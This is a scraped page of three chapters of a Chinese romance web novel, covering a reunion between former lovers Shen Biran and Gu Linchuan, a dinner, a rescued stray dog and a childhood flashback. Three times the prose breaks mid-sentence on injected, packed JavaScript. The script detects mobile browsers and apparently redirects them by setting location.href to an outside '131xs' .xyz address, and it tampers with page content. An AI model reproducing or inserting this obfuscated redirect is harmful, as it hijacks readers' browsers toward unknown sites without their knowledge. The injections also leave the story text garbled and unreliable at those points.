顾凛川同他一样盯着前方,不过,片刻后,他忽然问道:“我转头,你介意么?” 沈璧然微愣,“什么?” “介不介意让我看看你?”顾凛川语气仍淡,话问得很礼貌,但不等他回应,已经转头朝他看过来。 沈璧然一阵恍惚,倏然想起当年——他刚提分手、顾家还没来接人那段日子,顾凛川仍然每天跟在他身后,从早到晚,那道注视从未离开片刻。他也很痛,但又必须藏好,于是某天放学他主动叫住顾凛川,用烦躁遮掩泪意,语气不善道:“你知不知道这样很烦?” 顾凛川愣了一下,“什么很烦?” “被你盯着很烦。”沈璧然皱眉,“不要再看我了。” 车里冷气太足,冻得沈璧然浑身发冷。他也不知道顾凛川这一问是不是对陈年旧怨的讽刺,脊背僵硬,甚至无法转头镇定地与之对视。 “头疼吗?”顾凛川忽而又开口,语气竟有些柔和。 红灯跳了一下,终于变成两位数。 沈璧然盯着鲜红的数字,“什么头疼。” 顾凛川叹了口气,很轻,似是忍耐,又似无奈,“空腹喝酒,想不想吐?” “没有,我没喝多少。”沈璧然脑子嗡嗡响,“快到家了。” 顾凛川沉默了,好一会儿,他收回视线,在绿灯亮起时平稳起步。 几分钟后,车子行驶到中海国际门口,沈璧然降下车窗,顺利通过人脸识别。屏幕上显示的甚至是“业主您好,欢迎回家”。顾凛川扫了一眼,跟着指示牌把车开进地库,“车位是几号?” “刚租,还没办固定车位。”沈璧然早就在路上提前准备好了谎话,“随便找个空位停就好,多谢。” 顾凛川没追问,绕了几圈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849774|175623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最终在离电梯最近的临时车位上停稳。 沈璧然解开安全带,垂眸舔了下唇,酝酿着该如何道谢、道别。顾凛川也没动,甚至没有熄火,似乎在等他开口。 车里有点闷,沈璧然刚酝酿好情绪,扬起一个精巧客套的笑容,但还未开口,一道身影忽然经过车前,停下了。 白翊提着一支修长的木质酒盒,过来替他拉开车门。 沈璧然脑子转得很快,在白翊开口前便作惊讶道:“白导怎么过来了?” 白翊一句相同的发问被他噎了回去,看了一眼驾驶位的陌生人,停顿片刻,语气自然道:“我带了瓶酒来尝尝。正好碰上了,一起上去吧。” 这话不算撒谎,又打了个高明的马虎眼。沈璧然心中感激他的体贴聪慧,回头对顾凛川说:“今天多谢顾总。” 这话未免太干巴,可以列为沈璧然的低情商发言榜首,但他对顾凛川只能到这一步。 顾凛川的目光越过他,扫过白翊的脸,又在身上停留,似乎在审视穿着、身材。 白翊毕竟是大导演,有傲气在,见对方没有先开口的意思,便也只是冷淡地打了个招呼,“你是璧然的朋友?” 顾凛川在听到他说出沈璧然中文名的那一刹那,是真的变得面无表情。 就像忽视那些上来攀扯的富商一样,他忽视了白翊的问候,熄了火,利落地推门下车。 “不用谢。”他深深看了沈璧然一眼,“沈总。” 等电梯时,白翊笑着对沈璧然解释,原来今天剧组杀青了,这会儿几位主创都在宋听檀家里,要开一场小型庆功宴。 沈璧然脸上挂着微笑,浑浑噩噩地敷衍着。他的脑子和心脏都被挖空了,思考会头痛,呼吸会胸闷,只想着上楼和宋听檀打声招呼,便赶紧回家蒙头大睡。 电梯到,白翊替他拦着门让他先进,自然地询问道:“你喝酒了?” 沈璧然轻轻点头。 “伤还没好利索,怎么就……” 手机忽然响起,生硬地打断了白翊的关心。 沈璧然没心思看来电,直接接起,疲惫地说了一声,“你好。” 电话里有几秒钟微妙的、压抑的沉默,而后,顾凛川低沉的声音响起,“不太好。沈璧然,没看来电显?” 沈璧然后背一僵,刚消停的耳鸣又开始了。他垂眸看着电梯地面,一时无话。 “不然总不会是不认识这个号吧。” 顾凛川声音很淡,沈璧然不吭声,他似乎也没想等沈璧然开口。 “刚才忘了说,找你是想要回一样东西。” 或许是电梯里信号不佳,让顾凛川的语气听起来不太稳定。 “什么东西?”沈璧然听见自己的声音也喑哑波动着。 大概是察觉到了他在电梯里,顾凛川没有立即回答,数秒后,电梯停靠,发出一声清脆的叮声,而后顾凛川才重新开口。 “我落了一块手表在睦和医院急诊前台,助理前两天去找,那边护士说……” 沈璧然脑子里的耳鸣倏然停了。 这让顾凛川的声音分外清晰。 “说到你手上了。” “下次见面时还给我。”顾凛川的语气疏离又深长,“当然,如果你喜欢,也可以留下。” 像有一条电流击穿四肢百骸,沈璧然倏然捏紧手机。 “还在吗?” “沈璧然?” 顾凛川又等了片刻,说道:“沈璧然,好好保管,不许让我的手表沾上红酒。” 6.第 6 章 沈璧然只在宋听檀家坐了一小会儿,走时还笑眼弯弯地和大家互换微信,甚至还被女主演拉着拍了合照。 坐上出租车,他从西装内侧摸出那只表。 他太迟钝了,竟然此刻才意识到别人的定制竟完全符合他的审美,世上怎么可能有这样的巧合。 顾凛川从小就不喜饰物,沈璧然说过他很多次——骨相那么优越,从手腕到手指,筋骨分明,流畅有力,不戴手表实在暴殄天物。 顾凛川十八岁生日的午夜,沈璧然洗了澡,浸着一头湿漉漉的水汽溜上阁楼。 少年柔软美好的身体裹在缎子似的衬衫下,清纯而诱惑。彼时顾凛川已经长开了,大手抚过沈璧然纤细的颈,箍着柔滑的腰,一边要命地冲撞,一边在沈璧然耳边哄,亲吻他哭红的眼尾。 结束后,顾凛川把他搂在怀里,肌肤贴合,他用唇撩开他颈侧的发丝,暴露出鲜红吮痕,用少年刚透出一点磁性的声音问:“沈璧然,我的生日礼物呢?” 沈璧然在他怀里蹭了两下,像一条狡猾的绸缎。 “我给你设计了一块手表,等零花钱到了就去下订单,估计要晚个大半年了。” “就这么见不得我手空着啊。”顾凛川笑,伸出手腕在他眼前晃了晃,“还是说你想给我也上块牌子?是牌子我就戴。” “什么牌子?”沈璧然晕头晕脑地问。 “就和小山一样。” 小山是沈家看家犬,是沈璧然小时候从街上捡回来的,忠诚机敏,戴着一块沈璧然为它订做的狗牌。 沈璧然皱眉嘟囔,“你和它怎么一样?” “我不也是你捡回来的吗。”顾凛川把脸埋进他后颈,弄得他很痒,“你把我捡回来,就是我主人了,我守主人一辈子。” 深沉寡言的少年说起情话,像在沈璧然心上点了一把大火。后来他们又做了一次,沈璧然哭着给顾凛川描述手表的细节。 只是万般遗憾,不等他攒够钱,顾凛川就被他赶走了。顾凛川离开沈家前,在黑漆漆的车门旁回过头来,凝着沈璧然,“生日礼物,我是不是永远也见不到了?” 沈璧然当时说:“钱已经拿去买别的了。” 林肯车驶去的画面在记忆中褪色,一股酸热涌上鼻尖,沈璧然目光低垂看着那块表。 八角舷窗,毛利雕刻。 那晚他说白金时标太俗,不衬顾凛川的气质,但他们做得太疯,后来沈璧然完全失了语,牙齿死叩住唇才堪堪忍住叫声。所以,他没有来得及告诉顾凛川,想把时标换成什么材质。 但顾凛川猜中了。 沈璧然将腕表托在眼前——白玉的温润平衡了金属的锐利,表盘背后镌刻着定制年份,正是顾凛川离开沈家的第一年。 十八岁的顾凛川没有得到生日礼物,但回到顾家后,拥有了一件比那昂贵千倍的仿物。 精钢冰冷,像一别多年、彻底长大的顾凛川。但此刻放在手心,很烫,像要生生燎去沈璧然一层皮肉。 顾凛川在最爱他又被他抛弃的那一年定制了这块手表,但如今,这块旧表或许已经没有当年的分量,所以,可以被轻易遗落。 或许,没有问起那通电话不是因为仁慈,而是不在意。 可要是不在意,他跑去医院干什么,又是怎么知道他在那家医院? 沈璧然头晕目眩,想不明白,也不敢再想了。 家门口立着一只食盒。白翊见他在宋听檀家没吃东西,体贴地替他叫了外送,是日本料理——蒲烧鳗鱼脂香浓郁,并一份鲜嫩的红金□□身。宋听檀告诉白翊,沈璧然爱吃鱼,但是忘记叮嘱不要点鳗鱼,确切的说,不要点任何圆柱状、皮脂滑腻的水产,鳗鱼、黄鳝、海参……沈璧然都不吃。 况且连宋听檀都不知道,沈璧然四月要吃素,虽然这一切很荒谬,但避免对神明失敬,总要把最后一个斋月好好履行完。 沈璧然回电致谢,没有解释太多,礼数尽到后便把那份鳗鱼丢了、生鱼片冻进冰箱。 这一晚沈璧然梦到和顾凛川第一次的那个寂静的午夜,梦里的顾凛川却不是少年模样,他高大凶悍,沈璧然剥下他的西装,扯掉他的领带,他一双长腿有力地绞在沈璧然身上,不容他有丝毫挣扎。 * 那场晚宴后,沈璧然手机里多了几十条消息,嘘寒问暖、商务约谈,赵钧直接分享了行程表,空闲时间供他挑选。 他忙了两天,忽然接到陌生来电,是车祸肇事者的助理,说车主想亲自致谢——事故鉴定说,幸亏第二辆车处理得当,否则后果不堪设想。 沈璧然想起那辆张扬的保时捷,并不想多牵扯,但实在推托不过。他晚上还要见赵钧,索性把地点约在风雷的咖啡厅,打算花几分钟打发了事。 车主很年轻,是首都大学的学生。那晚和沈璧然被送去同一家医院,左手臂骨折了。他礼数周到,吊着一只手,却还是坚持从助理手里提过礼物,亲自呈给沈璧然,鞠躬致歉。 沈璧然心软,被问伤情,一字未提脑震荡和挫伤,只说没什么大碍。 对方松了口气,解释道:“那天我要去参加个重要的发布会,路上司机突然胸痛,我自己也有驾照,但开得不熟练。” 沈璧然表示体谅,对方又主动递上名片,“我叫白书庭,有需要就随时联系。” 助理上前低语两句,白书庭惊讶道:“现在吗?他在这里?” 助理低声答:“已经要下来了。” 白书庭愉快地笑,“那我去找他好了,说不定能一起吃晚饭。” 恰好也到了和赵钧约见的时间,沈璧然便和他一起从咖啡厅出来,没走几步,就在电梯口看见了赵钧。赵钧半回身,姿态恭敬,像在引着贵客。 而后,贵客登场,沈璧然脚步一顿。 白书庭小跑上前,“凛川哥!” 顾凛川走出来,目光越过白书庭,直直落在沈璧然脸上,也顿了一下。 他轻轻颔首,“好巧。” “是啊,竟然在这里见到了。”白书庭语气亲近,“不好意思呀,这几天没主动约你的时间,你知道的,我出车祸了。” 沈璧然闻言心下一颤,似乎找到了顾凛川那晚去睦和医院的原因。 他不由自主地留意白书庭的举止,白书庭托高吊着的左臂给顾凛川看,“真可惜,错过了光侵的发布会。” 顾凛川这才从沈璧然脸上收回视线,扫了一眼那举到面前的笨重石膏,“出车祸了?” 语气实在说不上热情。 沈璧然刚产生的推测又动摇了,有些捉摸不透地看着他们二人。 助理Jeff上前低声提醒了一句,顾凛川“哦”了一声,想起来了,对白书庭道:“保重。” 语落,视线又回到沈璧然身上,“听说沈总前两天也出了事故,恢复如何?” “你们认识啊。”白书庭惊讶,悻悻地主动坦白:“Noah就是被我连累才追尾的,幸好他说没受什么伤。” 顾凛川闻言看白书庭一眼,语气略沉,“你肇事?” 白书庭有点心虚,赵钧见势便体贴地向他问候。两人互相自我介绍,沈璧然旁听几句,大致有了数——白、顾两家是世交,顾凛川当年移居德国前和白书庭见过两面,这次回国后,顾老爷子也特意让他多关照白书庭。 白书庭的助理代替开口:“刚才听Jeff说顾总在这,既然凑巧,不知是否得空小叙?” 赵钧笑容满面,“那太巧了,我与Noah有约,我们刚好互换聊伴。” 白书庭闻言目露期待,沈璧然如释重负,两人异口同声道好。但他们两个答应没用,还要看顾凛川的意思。顾凛川一言不发,神色甚至有些冷淡,“赵总是有重要公事急着和沈总商谈?” 赵钧是个人精,立即改口:“哪有什么公事,我也是约了Noah一起吃个饭,要是顾总和白少愿意赏光,不如一起?” 顾凛川随意点了下头。赵钧精神大振,白书庭欢欣鼓舞,两人前面开路,顾凛川却没动,静静地看着沈璧然。 沈璧然心里不满赵钧的见风使舵,正绞尽脑汁地憋一个得体的推辞。 顾凛川却不给他机会,“走吗,沈总?” Jeff立即接过沈璧然手上提着的礼品,丝毫不因曾被当成酒侍记仇,笑容热情,“您请。” 沈璧然再无退路,只能僵硬转身。顾凛川跟上在侧,又对Jeff沉声道:“你明天不用来上班了。” Jeff脸色扭曲,亦步亦趋地辩解:“是老爷子突然查岗,我哪能想到他是替别人问……”他说着忽然眼珠子一转,转向沈璧然,“沈总,替我求个情。” 沈璧然被吓一跳,这和他有什么关系。 他下意识往外挪了半步,“抱歉,我恐怕无能为力。” Jeff:“你就试……” 顾凛川开了口,“你和人家很熟?” “……不熟。”Jeff一秒收起全部表情,低头退后一步,“我今晚就辞职。” * 餐厅是隔壁的一家私厨京菜,赵钧安排妥当,提前清场。 四人席方正雅致,顾凛川先落座,白书庭选了他对面。沈璧然正要跟过去,赵钧抢先一步挨着白书庭坐下了,只留下顾凛川身边一个空位,还一脸和气地对沈璧然笑:“老熟人,我就不跟你瞎客气了。” 沈璧然再有涵养,心里也骂翻了天。骂他三番五次看人下菜碟,谎话张口就来,脸皮厚得可以去宋听檀的剧组扮演城墙。 点菜时,顾凛川很赏光地亲自把菜单翻阅一遍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15854137|175623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,点了灌汤黄鱼、菌烧玉带、槐花泥炉烧肉、芙蓉鸡片。 “把芙蓉鸡片换成辽参鸡片吧。”白书庭提议道。 顾凛川眼也没抬一下,“想吃就分开点两道。” 白书庭悻悻地“喔”了声,“那算了,凛川哥不吃海参吗?没听家里人说起过啊。” 顾凛川没接话,赵钧对沈璧然说:“Noah,给你点一道香椿豆腐、一道桃花米糕,不沾肉腥,怎么样?” 那天晚宴上,赵钧得知了沈璧然最近吃素。这话讨好意味颇浓,但沈璧然并不买账:“都可以,客随主便。” 余光里,顾凛川在听到那句“不沾肉腥”时似乎看了他一眼。 席间依旧赵、白二人主聊,顾凛川偶尔问一两句,赵钧立刻深入讲解,白书庭捧场垫话,二人年龄差了一倍,萍水相逢,倒配合得天衣无缝。 沈璧然心里纳闷顾凛川怎么会约见赵钧——风雷固然有实力,但还不到能和光侵对话的层面。他想梳理思绪,但却频频走神。顾凛川今天喷了木调的香水,尾调似乎还带一丝清幽冷肃的花香,是玉兰么?沈璧然对香气很敏感,觉得这股气味的存在感实在太强,而且,顾凛川和他只相隔两掌,即便刻意敛目,余光也将那人举箸落筷尽收眼底。 从前沈家常褒野山菌鸡汤,因为沈璧然爱喝,但顾凛川却不喜欢吃菌。如今他的习惯依旧,沈璧然用余光观察,菌烧玉带,顾凛川只尝了两口瑶柱,灌汤黄鱼里有榛蘑,他便只挟一筷鱼肉,另外两道没放菌子,他吃得稍多一些。 菜肴精致,可惜沈璧然没有口福。他面前的四道荤菜完好未动,赵钧单独替他张罗的香椿豆腐是用鱼汤烹的,眼下也不能吃,只有桃花米糕是纯素食,好入口,两小块,他都吃完了。 沈璧然放下筷子,伸手去拿净手帕,顾凛川几乎同时抬手,两人的指尖在空中一触即分,视线相撞,皆是一顿。 顾凛川收手,让了沈璧然,低声问:“菜不喜欢?” 屋里光线幽素,沈璧然从那双眸中觉出几分困惑,便答:“不太饿。” “Noah的项目如何了?”赵钧插话,暗中给沈璧然递了个眼色,示恩一般,鼓励他对顾凛川介绍公司。 顾凛川闻言,身子朝沈璧然侧过来,一副愿意了解的架势。 沈璧然心里已经记了赵钧的仇,不屑领他的情,“还不成熟,赵总今日临时决定搁置不谈也好,我还能回去精雕细琢,择日再叙。” 这话把赵钧刚才阿谀说谎的老底都揭穿了,赵钧脸色顿时有些挂不住,强自笑道:“你太谦虚了,连小祝总都在关注你,他在科技领域可是很有分量——对了,不知顾总是否认识小祝总?” 顾凛川随口问,“哪位?” “祝淮铮。” 顾凛川反应淡淡,“不认识。” 赵钧便把祝淮铮也介绍一通,顾凛川依旧不作反应,甚至让人怀疑他压根没听。 席散,众人一同乘电梯下去。沈璧然想避开顾凛川,于是和大家在电梯口道别后,装作去找自己的车,实则拐了个弯,又偷偷摸摸返回一楼,点一杯咖啡,慢吞吞喝完才回到停车场。 停车场空无一人。他走近车,见车身下忽地闪过一抹黄,脏兮兮,毛乎乎,还伴随着鬼鬼祟祟的喘气声。 沈璧然停在驾驶门侧,静默数秒,忽然蹲下身子。 白白净净的手掌贴着粗糙的水泥地,他双膝跪地,脑袋下探,和车底那双黑溜溜的圆眼睛对视。 “出来。”沈璧然挑眉,“发现你了。” 远处,停着一辆宾利欧陆。顾凛川坐在车里,在单向玻璃后看着沈璧然从车底下抱出一只小狗——他独自在这等人,等了很久,久到无聊地目睹了这只可怜的跛脚小狗在这些汽车之间打转。停车场里豪车很多,它最终选了最不值钱的一辆,但却也阴差阳错,选到了最善良、最漂亮的车主,不仅没被一脚油门碾死,还被温柔地抱在怀里抚摸。 所以说世事莫测,无处说理。就像此刻,流浪狗摇身一变,一下子就成了世界上最好命的小狗。 沈璧然在车前停了很久,仔细检查了小狗的跛脚,而后果然把它放进了车里。 不难猜测,接下来他就要去宠物医院,帮它治病洗澡、喂它吃饱喝足、甚至还会带它回家。 顾凛川注视着这一切,目光深静,无奈一笑。 特斯拉从宾利侧面驶过,车窗后,沈璧然一边轻柔地打方向盘,一边含笑哄着身边的小狗。那双好看的眼睛里终于流露出今晚第一个真心实意的笑容,很温暖,恐怕连寒冬断桥下的冰面也足以融化。 顾凛川完全能猜到他在对小狗说什么。 ——“别害怕,跟我回家,我泡牛奶给你喝。” 因为八岁那年,他也是这样上钩的。 7.第 7 章 顾凛川是有记忆后才被送去福利院的。 据说他的生父是个负心汉,而带球跑的老套戏码是母亲给父亲的惩罚。 顾凛川很不理解,父亲压根都不知道有他这么个球,那到底是在惩罚谁? 阮青对顾凛川毫不避讳地讲起那段糟心的恋爱,“你爸那个家里很可怕,该死的,我也是很晚才知道,之前一直以为他就是个普通的老板呢。他一开始说不会和我结婚,我还想着先相处呗,最后老娘自己愿不愿意结婚还不一定呢,谁能想到做了措施还能中招。” 那为什么不把我打掉呢,顾凛川在心里想。邻居都说他是个拖油瓶,如果没有他,凭阮青的姿色和那股天不怕地不怕的闯荡劲,不愁过不上好日子。 “还好溜得快,要是怀孕被发现,妈妈就没有你了。”阮青把烟屁股摁在满是油渍的餐桌上,在顾凛川面前撂下一碗放多了盐的挂面,咬牙道:“不想怀归不想怀,但既然怀了就一定要把你养大,你是老娘的骨肉。快点吃!” “哦。” 顾凛川听不懂成年人的爱恨纠葛,但他因为最后那句咬牙切齿的发誓而感到快乐。 虽然出租屋脏破,虽然邻居总是指指点点,虽然每天的水煮面都齁咸,但他喜欢妈妈,他觉得日子里的一切不如意都因为自己被妈妈坚定地选择——这份安全感足以弥补所有。 后来顾凛川要被送去福利院前,阮青也煮了同样一碗挂面,哭着说了无数遍对不起。 顾凛川闷头把面吃完,被齁得连一句告别都说不出来。 * 福利院死水般的生活维持了一年多,本以为日子也就这样了,但不知从哪天起,顾凛川察觉到一双在暗中窥伺的眼睛——从院墙篱笆的缝隙间、水房玻璃破洞外、送菜卡车的货箱里……他曾偶然与那双眼对视,收获了一个阴恻恻的、恫吓的笑容。 福利院体检,顾凛川发现他比别的孩子多了好几个采血管。老师对他解释:“有领养者想要一个大孩子,但要求排查基因病,八字没一撇呢,怕你失望就没告诉你。” 顾凛川汗毛倒立。 他没有等到自己的血检结果,对方拿到他的血液样本后就此销声匿迹。 不久后的一天,送菜司机忽然变成了生面孔,笑呵呵地叫住顾凛川,让他去后头货箱里找签收单。顾凛川点头答应,转身拔腿就跑回了宿舍。 那是他第一次和他们过招,往后数次也都有惊无险。但对方的诱骗愈发频繁,猫玩耗子似的,不紧不慢,却死盯不放。 顾凛川对危险有着天然的敏锐,本能告诉他不能再这样下去,福利院不能永远庇护他,等对方耐心耗尽,有的是其他手段把他弄走。 虽然他也不知道他们弄自己究竟是要干什么。 逃跑的计划在稚嫩的脑袋里逐渐成型——时间、路线、需要多少食物、在哪里落脚、后面的日子去哪里搞钱……他计划得很详细,虽然很多想法未必能实现,但贱命也不需要有什么宏图大志,活今天想明天就够了,总比待在福利院等死强。 计划出逃的日子是元旦,可提前一周,他被流感击中,发高烧昏睡了过去。醒来后外头乌漆嘛黑,小朋友都去看电视了,他饿得前胸贴后背,想去找口饭吃,结果刚拐进食堂,一只粗糙的大手就从身后捂住了他的嘴。 因为他烧得神志不清,那些人没有把他绑起来。 顾凛川跳车逃跑前隐约听到他们在商量赎金,几十个亿——天啊,从福利院绑出来的孩子,要向谁开价去?阎王吗?开口几十亿冥币? 他怀疑自己要么是耳朵坏了,要么是脑子烧烂了。 最后他躲在一处断桥下,烧得再也跑不动了。天地深黑,万籁冷森,脚下冰层发出细微的剥离声,寒冬的风像一道道厉鬼,来索他这条无人在意的贱命。 每根骨头缝都疼,他闭着眼不知时间流逝了多久,浑噩之中,仿佛听到了死神的脚步。 死神小心翼翼地靠近,连呼吸声都很轻。他迷迷糊糊地想,原来死神像一只小猫。 几簇温热的毛发蹭到了他的脸颊,柔软细滑,很痒。顾凛川费劲地睁开眼,黑咕隆咚,一道小小的影子蹲在他身前,挨得很近,恨不得糊在他身上似的,把天地冰河都挡得严严实实。 温香柔软的脑门怼过来,呼呼呼地朝他脸上吹气,透着一股没心没肺的奶香。 “我的妈呀,我还以为是小狗呢。” “你没死吧?” “嗨?” “你怎么不说话,我都看到你半睁着眼了。” “我叫沈璧然,我七岁,你呢,你叫什么?” 那家伙说累了,停下来叹一口气,低头搓了搓自己的脸。 “说话呀,急死我啦。” “你蹲在这干什么,你爸妈惹你生气啦?” “这大冷天,赶紧回家吧,给他们记账上,等天暖和再生气。” 小鬼嗓门不大,但音色太亮,他怕把那两个莫名其妙的绑匪再招回来,于是一把捂住对方的嘴。 没想到那张脸那么小,一巴掌呼过去,掌心触碰到软乎乎的唇,手指就扫到长长的睫毛了。 手心里的人“唔唔唔”地叫,老大不开心,但却很聪敏地把声音压低了,说:“你是不是发烧了?你手心都给我脸上烫出泡了。” 哪来的娇气包。 顾凛川无语地缩回手,嘶哑地问:“桥上有人吗?” “有!有我爸妈,司机严叔叔,还有赵婶!我跟他们说我看到小狗了,要是没主人我就捡回去。” 顾凛川松了口气,耷下沉重的眼皮,“我不是小狗,这边不安全,你赶紧走。” 小孩闻言迟疑地“鞥”了一声,“是啊,我也发现你不是小狗了……”他停下来支吾了一会儿,脑瓜往下一歪,从下往上斜着瞅顾凛川,“你不想回自己家的话,要不然先去我家玩?我家有……阿嚏!” “……” 喷了顾凛川一脸吐沫星子。 小孩一下子捂住嘴,自己呆了两秒后开始疯狂点头道歉:“对不起对不起,我太没礼貌了,我怎么这样啊……” 顾凛川努力支起眼皮看着他,五官轮廓影影绰绰,好像很漂亮,即使周围那么黑,也能感受到是一张粉雕玉琢的小脸。 他打断他,“你刚才说你家有什么?” “噢,我家有草莓牛奶,不是那种现成的,要用鲜牛奶冲冻干莓粉,还有草莓酱,热乎的,我可会冲了。你就去玩一小会儿,喝完奶就给你爸妈打电话,行不行?” 顾凛川冻得手脚像被蚂蚁啃,为那句“热乎的”心动挣扎了一会儿,却还是摇头,“离我远点,赶紧走。” 他觉得绑匪还是会找回来,而面前这个小鬼显然比他更适合作为肉票。 小鬼还在絮叨叨地诱惑他,比绑匪还执着,顾凛川意识模糊地不知重复了多少遍“你快走”,后来就什么都不知道了。 醒来时他躺在一间雅致的小卧室,烧退了。沈家的保姆说,他那晚烧晕在桥洞下,沈璧然以为他死了,拽着他的胳膊把他拖行两米,然后自己也摔倒了,哭着大叫尸体好沉,差点把闻声而来的大人给吓死。 沈家的家庭医生给顾凛川打了两针,然后保姆端来一个小砂锅——叫“松茸煲鸡”。顾凛川没吃过松茸,第一口下去差点吐了,破天荒地知道原来自己也有咽不下的东西。 但鸡肉很香,他就着大米饭,起初还有些拘谨,后来越吃越疯,狼吞虎咽,毫无人样。 被噎得想死还是控制不住往嘴里狠狠塞的某一瞬间,他忽然意识到自己和流浪狗确实也没有区别——从狗贩子手里跑出来,被好心人捡走,找医生打了疫苗,再获得一顿饱饭。 吃完最后一粒米,他像一条死狗一样摊在床上,心说活着真累,要不死了也行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15854138|175623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。 但得死远点,别吓到那娇气小鬼了。 正想着,房门被推开一条缝,沈璧然穿着香槟色睡衣,脑袋上还套着一只真丝眼罩,长到脖子的头发有点翻翘,探身进来瞅他,手里还端着一杯没搅开的草莓牛奶。 “我来兑现诺言啦。”沈璧然看他没睡,进来一屁股坐在他床上,松软的床垫陷下去一块,他的大拇指被一团柔软有弹性的东西压住,立即触电似的缩回来。 沈璧然屁股往后蹭蹭,把牛奶塞他手里,“喝,可好喝了。” 玻璃杯像水晶,很亮,但亮不过那双乌黑的眼。 顾凛川从没见过这样的眼睛——轻松的,愉快的,透着关切的光亮。充沛的情感在那双眼珠里流淌,漫出来,淌进自己那颗晦暗的心。 他心跳得好快,可能是又高烧了,闷头喝了口奶。 “好喝吗?好不好喝啊?”沈璧然没完没了地问。见他垂下眼不搭理人,就把脑袋歪成九十度,从底下往上瞅他。 顾凛川感觉自己被一个长相很有欺骗性的小动物缠上了。 他只好舔了下干裂的唇,“一般。” “啊?”沈璧然听起来好失望。 “没搅匀。”顾凛川实话实说,看了沈璧然一眼,又垂下眼咂了咂嘴,“在嘴里搅匀了,挺香的。” 沈璧然一下子高兴了,“对嘛,我可会冲奶啦。” 沈璧然吹牛了,他平时自己喝的都是保姆冲的,那个冻干莓粉不好冲开,加上草莓果酱就更难融,年幼的沈璧然学什么都快,唯独冲牛奶不得要领,屡战屡败。 沈家很快就查到了顾凛川的福利院,要送他回去。顾凛川本来计划好要在路上逃跑,但上车前,身后忽然响起一众保姆的呼喊声,沈璧然裹着一身睡衣从屋里飞奔出来,大叫着:“爸!他不走了!沈从翡!你站住,他不走了!” 漫天的雪落在那个乌黑的脑瓜上,像雪山尖尖。 沈璧然抱着沈从翡的腿使劲摇,“爷爷同意他留下!你敢不听爷爷的话!” 顾凛川被留下了,但沈璧然因为穿着睡衣在外头站了半分钟,发高烧了。 原来他体质很弱,他一病,沈家上下兵荒马乱。顾凛川不知道他的卧室是哪一间,找不到他,也不知道他的情况,只是从保姆口中听说了事情的经过——沈鹤浔老爷子刚好请了一位“大师”来家里做客,大师看到了他,说他命格从火,盛而不厉。温火养玉,他能旺沈璧然。 顾凛川觉得这些有钱人好像脑子不行,如果他真能旺沈璧然,沈璧然怎么会因为他生病。 他焦灼地在阁楼上等了三天。元旦当天,因为小少爷生病,沈家也没怎么庆祝。深夜,顾凛川快要睡着时,房门忽然又被推开了。 那个推门声一听就知道是谁,明明无法无天,却还装作小心翼翼。 顾凛川还没来得及拧开台灯,发着烧的家伙就扑到了他床上。 “是我!嘘——” 沈璧然跪在床垫上,手撑着他的枕头,烧得红扑扑的一张小脸凑近过来,神神秘秘地说:“要是放你回福利院,你还得跑吧?” 一副和他认识了十年的样子。 顾凛川莫名其妙地看着他,但没反驳,因为明天就是元旦,本来就是他计划要开始流亡的日子。 沈璧然砰砰拍了两下胸脯,“我爷说话最算数,你以后就留下陪我了。” 顾凛川依旧没吭声,只是一眼不眨地看着他。沈璧然好像也没指望得到什么回应,自顾自咯咯地乐起来,长发垂在顾凛川的眼睛和脸颊上,扫来扫去。 “听说你叫顾凛川,这名字冷飕飕的,容易感冒,我给你暖暖。” 沈璧然掀开他被子,不由分说地往被窝里一挤,散发着那股高烧气凑近,嘴唇若即若离地贴在顾凛川耳边。 “十二点了。” “新年快乐呀,顾凛川。” 8.第 8 章 “半夜十二点了,沈璧然。”电话里宋听檀的声音透着荒谬,“你说你要上门给我送一条狗?” 沈璧然刚从宠物医院出来,温声细语地解释:“租客带宠物要申报,今晚只能先送你家了。我保证它很乖、很干净,还有点瘸,不会到处跑。” 宋听檀忍耐,“什么品种?” 红灯停车,沈璧然捂住狗耳朵,小声回答:“土狗。” “……颜色呢?” 沈璧然松开手,朗声道:“迷人的饼干色。” 宋听檀低哼,“不会吵我睡觉吧?” 沈璧然一把攥住狗的嘴筒子,“特别安静,简直是哑巴。” “行吧。”宋听檀心软了,“什么日子,一个两个都往我家挤。” 沈璧然得逞,笑眼弯弯地问:“还有谁啊?” “白导。”宋听檀控诉,“白扒皮!大半夜说商量改戏!” 沈璧然知道宋听檀的脾气,他要是真不乐意,就算是白翊也会被拒之门外。宋听檀上学时就喜欢深夜读剧本,沈璧然在国外头两年状态很差,很多个夜晚,他都是躺在宋听檀公寓的地毯上,听着宋听檀的台词逐渐睡着的。 沈璧然想起从前,又得寸进尺,“我好饿,你家有吃的吗?” 电话里忽然换了白翊温和的声音,“璧然,我正要下楼买夜宵,你吃什么?” 